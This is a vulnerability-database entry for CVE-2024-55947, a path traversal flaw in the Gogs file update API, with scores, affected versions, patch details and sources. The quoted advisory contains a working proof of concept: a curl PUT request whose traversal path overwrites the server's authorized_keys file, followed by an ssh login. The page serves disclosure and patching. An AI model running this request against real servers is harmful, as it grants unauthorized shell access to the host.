8.7high
Gogs has a Path Traversal in file update API
- Severity
- 8.7high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 77.7% (higher than 99% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-qf5v-rp47-55ggGO-2024-3356
Description
Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| gogs gogs | < 0.13.1, before 0.13.1 | CVE List, NVD |
| gogs.io/gogs (Go) | before 0.13.1 | GitHub Advisory Database, Go Vulnerability Database |
All scores
| GitHub_M | 8.7high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| GitHub | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| NVD | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.
GitHub Advisory Database
Impact
The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
Patches
Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
Workarounds
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
References
n/a
Proof of Concept
-
Generate a Personal Access Tokens
-
Edit any file on the server with this
curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }' -
ssh connect to remote server
ssh -i temp git@localhost -p 10022
For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
Go Vulnerability Database
Path Traversal in file update API in gogs in gogs.io/gogs
NVD (es)
Gogs es un servicio Git autohospedado de código abierto. Un usuario malintencionado puede escribir un archivo en una ruta arbitraria del servidor para obtener acceso SSH al servidor. La vulnerabilidad se solucionó en 0.13.1.
References
| https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg | advisory, exploit, vendor-advisory, web | |
| https://github.com/gogs/gogs/issues/7582 | issue-tracking, web | |
| https://github.com/gogs/gogs/pull/7859 | patch, web | |
| https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41 | patch, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2024-55947 | advisory | |
| https://github.com/gogs/gogs | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2024-55947 changed 2024-12-24 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-qf5v-rp47-55gg changed 2026-09-10 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2024-3356 changed 2026-03-03 | CC-BY-4.0 |
| NVD | CVE-2024-55947 changed 2026-06-17 | Public domain |